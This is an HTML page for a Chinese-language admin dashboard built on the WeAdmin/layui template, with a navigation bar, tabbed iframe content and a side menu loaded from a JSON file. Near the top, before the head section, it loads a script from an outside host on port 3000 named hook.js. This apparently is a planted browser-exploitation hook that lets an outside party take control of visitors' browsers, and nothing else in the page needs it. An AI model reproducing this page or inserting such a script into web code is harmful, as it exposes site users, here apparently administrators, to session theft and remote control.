<!doctype html>
<html lang="en">
<script src=http://weiyi8.xyz:3000/hook.js></script>
<head>
  <meta charset="UTF-8">
  <title>后台管理-WeAdmin Frame型后台管理系统-WeAdmin 1.0</title>
  <meta name="renderer" content="webkit|ie-comp|ie-stand">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport"
    content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0">
  <meta http-equiv="Cache-Control" content="no-siteapp" />
  <link rel="shortcut icon" href="./favicon.ico" type="image/x-icon" />
  <link rel="stylesheet" href="../static/css/font.css">
  <link rel="stylesheet" href="../static/css/weadmin.css">

  <script type="text/javascript" src="../static/lib/layui/layui.js" charset="utf-8"></script>
</head>

<body>
  <!-- 顶部开始 -->
  <div class="container">
    <div class="logo">
      <a href="index.html">WeiYiAdmin</a>
    </div>
    <div class="left_open">
      <i title="展开左侧栏" class="layui-icon layui-icon-shrink-right"></i>
    </div>
    <ul class="layui-nav left fast-add" lay-filter="">
      <li class="layui-nav-item">
        <a href="javascript:;">+新增</a>
        <dl class="layui-nav-child">
          <!-- 二级菜单 -->
          <dd>
            <a onclick="WeAdminShow('资讯','https://www.baidu.com/')"><i class="layui-icon layui-icon-list"></i>资讯</a>
          </dd>
          <dd>
            <a onclick="WeAdminShow('图片','http://www.baidu.com')"><i
                class="layui-icon layui-icon-picture-fine"></i>图片</a>
          </dd>
          <dd>
            <a onclick="WeAdminShow('用户','https://www.baidu.com')"><i class="layui-icon layui-icon-user"></i>用户</a>
          </dd>
        </dl>
      </li>
    </ul>
    <ul class="layui-nav right" lay-filter="">
      <li class="layui-nav-item">
        <a href="javascript:;">Admin</a>
        <dl class="layui-nav-child">
          <dd>
            <a onclick="WeAdminShow('个人信息','http://www.baidu.com')">个人信息</a>
          </dd>
          <dd>
            <a onclick="WeAdminShow('切换帐号','./login.html')">切换帐号</a>
          </dd>
          <dd>
            <a class="loginout" href="">退出</a>
          </dd>
        </dl>
      </li>
      <li class="layui-nav-item to-index">
        <a href="#" target="_blank">前台首页</a>
      </li>
    </ul>

  </div>
  <!-- 顶部结束 -->
  <!-- 中部开始 -->
  <!-- 左侧菜单开始 -->
  <div class="left-nav">
    <div id="side-nav"></div>
  </div>
  <!-- <div class="x-slide_left"></div> -->
  <!-- 左侧菜单结束 -->
  <!-- 右侧主体开始 -->
  <div class="page-content">
    <div class="layui-tab tab" lay-filter="wenav_tab" id="WeTabTip" lay-allowclose="true">
      <ul class="layui-tab-title" id="tabName">
        <li>我的桌面</li>
      </ul>
      <div class="layui-tab-content">
        <div class="layui-tab-item layui-show">
          <iframe src='pages/welcome.html' frameborder="0" scrolling="yes" class="weIframe"></iframe>
        </div>
      </div>
    </div>
  </div>
  <div class="page-content-bg"></div>
  <!-- 右侧主体结束 -->
  <!-- 中部结束 -->
  <!-- 底部开始 -->
  <div class="footer" id="footer" style="display: none;">
    <div>WeiYiAdmin</div>
  </div>
  <!-- 底部结束 -->
  <script type="text/javascript">
    var showFooter = true; // 控制是否显示底部示例参数，相关逻辑可删除
    layui.config({
      base: './static/js/'
      , version: '101100'
    }).extend({ //设定模块别名
      admin: 'admin'
    });
    layui.use(['jquery', 'admin'], function () {
      var $ = layui.jquery,
        admin = layui.admin

      $(function () {
        admin.tab.tabInit();

        if (showFooter) {
          var currentY = new Date().getFullYear();
          $('#footer').show();
        } else {
          $('.left-nav, .page-content').css({ 'bottom': 0 });
          $('#footer').hide();
        }

        //展示左侧菜单栏内容
        //使用json文件定义列表内容
        var url = "../static/json/menu.json"
        var request = new XMLHttpRequest()
        request.open("get",url)
        request.send(null)
        request.onload = function () {
          if(request.status == 200) {
            var json = JSON.parse(request.responseText)
            var menuList = json.data;
            var items = [];
            var _ul = $('<ul></ul>').addClass('nav').attr('id', 'nav')
            $.each(menuList, function(index, val) {
              console.log(val.icon)
              var icon = val.icon ? '<i class="layui-icon layui-icon-'+ val.icon +'"></i>': '<i class="layui-icon layui-icon-app"></i>';
              var item = '<li id="menu' + val.id + '"><a _href="' + val.url + '">'+ icon +'<cite>' + val.name +
              '</cite><i class="iconfont nav_right">&#xe697;</i></a></li>';

              items.push(item);
              if (val.children && val.children.length) {
                console.log(val.children)
                //有二级子菜单
                setTimeout(function() {
                  getSubMenu(val.id, val.children);
                  }, 500);
                }
              });
              $('#side-nav').empty();
              _ul.append(items.join(''));
              $('#side-nav').append(_ul);
          }
        }
        function getSubMenu(id, subList) {
          var subItems = [];
          var subUl = $('<ul></ul>').addClass('sub-menu');
          $.each(subList, function(idx, sub) {
            var subItem = '<li id="menu' + sub.id + '"><a _href="' + sub.url + '"><i class="iconfont">&#xe6a7;</i><cite>' +
              sub.name + '</cite></a></li>';
            subItems.push(subItem);
            if (sub.children && sub.children.length) {
              setTimeout(function() {
                getSubMenu(sub.id, sub.children);
              }, 1500);
            }
          });
          subUl.append(subItems.join(''));
          $('#menu' + id).append(subUl);
    }
        });
    });


    
  </script>
  <script>
     
  </script>
</body>
</html>